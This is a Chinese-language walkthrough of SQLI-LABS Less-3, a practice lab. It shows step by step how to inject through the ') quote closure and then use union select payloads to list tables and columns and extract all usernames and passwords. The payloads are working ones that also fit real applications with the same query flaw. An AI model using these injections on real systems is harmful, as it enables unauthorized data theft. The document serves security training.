SQLI-LABS(Less-3)
Less-3(GET-Error based-Single quotes with twist-string)
打开Less-3
页面,可以看到页面中间有一句Please input the ID as parameter with numeric value
,那么先使用ID
这个参数通过GET
方式传入一个数值。
确定注入点
注入语句:?id=1
。
可以看出传入id=1
可以正常回显,那么试一下?id=1'
,发现在引号
附近产生了歧义导致报错。
并且从上图报错中可以看出这条SQL语句的闭合方式为')
,那么使用注入语句:?id=1') --+
,看看是否能够正常闭合并注释,从下图看出是没有问题的。
接着尝试注入语句?id=1') and 1=1 --+
和?id=1') and 1=2 --+
,发现注入第一条语句时正常回显,注入第二条语句时没有回显,由此判断存在注入点。
判断数据表列数
通过order by
判断该表的字段数量(order by
语句用于根据指定的列对结果集进行排序),URL后面拼接?id=1') order by 1 --+
看是否报错:
当尝试到?id=1') order by 4 --+
时,出现了报错,由此可以判断该表只有3列。
确定回显字段
注入语句:?id=1') and 1=2 union select 1,2,3 --+
这里使用and 1=2
是为了让union
之前的语句为假,从而不回显在前端页面。这样结合union
之后的语句就可以通过前端页面的回显知道前端页面显示的是数据表的第几列。
确定当前数据库名和用户
从上图中可以看出该数据表的第二列和第三列会回显在前端页面上,这样就可以通过数据库自带的函数:user()
(查看当前用户)、database()
(查看当前数据库)、version()
(查看数据库版本)等替换2和3,注入得出连接数据库用户以及数据库名称。
注入语句:?id=1') and 1=2 union select 1,database(),user() --+
通过上述注入可以得知,当前数据库名为security
,当前用户为root
。
确定当前数据库内表名
注入语句:?id=1') and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
通过上述注入可以得知当前数据库中存在emails
、referers
、uagents
、users
四张数据表。
确定users表中列名
注入语句:?id=1') and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
通过上述注入可以得知users
表中存在三列,分别为id
、username
、password
。
确定users表中的用户名和密码
注入语句:?id=1') and 1=2 union select 1,group_concat(username),group_concat(password) from users --+
至此,就得到了当前表中所有的用户名和密码。